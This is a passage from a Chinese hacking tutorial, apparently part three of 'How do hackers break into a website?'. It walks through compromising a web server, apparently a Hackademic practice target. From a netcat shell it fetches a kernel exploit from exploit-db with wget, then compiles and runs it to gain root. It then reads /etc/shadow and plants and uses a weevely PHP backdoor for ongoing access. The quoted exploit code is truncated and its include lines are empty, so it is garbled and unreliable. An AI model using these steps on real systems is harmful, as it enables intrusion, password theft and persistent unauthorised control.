黑客如何攻破一个网站?( 三 )


黑客如何攻破一个网站?

文章插图
 
现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.
在服务器上测试了很多exp之后,我们用以下的exp来提升权限.
http://www.exploit-db.com/exploits/15285
我们在nc shell上执行以下命令:
wgethttp://www.exploit-db.com/exploits/15285 -o roro.c
(下载exp到服务器并重命名为roro.c)
注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf(“[*] Could not open socket.”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
通过以上代码我们发现该exp是C语言开发的,我们需要将他编译成elf格式的,命令如下:
gcc roro.c –ororo
接下来执行编译好的exp
./roro
黑客如何攻破一个网站?

文章插图
 
执行完成之后我们输入id命令
id
我们发现我们已经是root权限了
uid=0(root) gid=0(root)
黑客如何攻破一个网站?

文章插图
 
现在我们可以查看/etc/shadow文件
cat/etc/shadow
黑客如何攻破一个网站?

文章插图
 
我们可以使用”john theripper”工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.
我们用weevely制作一个php小马上传到服务器上.
1.weevely使用选项
root@bt:/pentest/backdoors/web/weevely#./main.py -
黑客如何攻破一个网站?

文章插图
 
2.用weevely创建一个密码为koko的php后门
root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko
黑客如何攻破一个网站?

文章插图
 
接下来上传到服务器之后来使用它
root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko
黑客如何攻破一个网站?

文章插图
 
测试我们的hax.php后门
黑客如何攻破一个网站?

文章插图
 




推荐阅读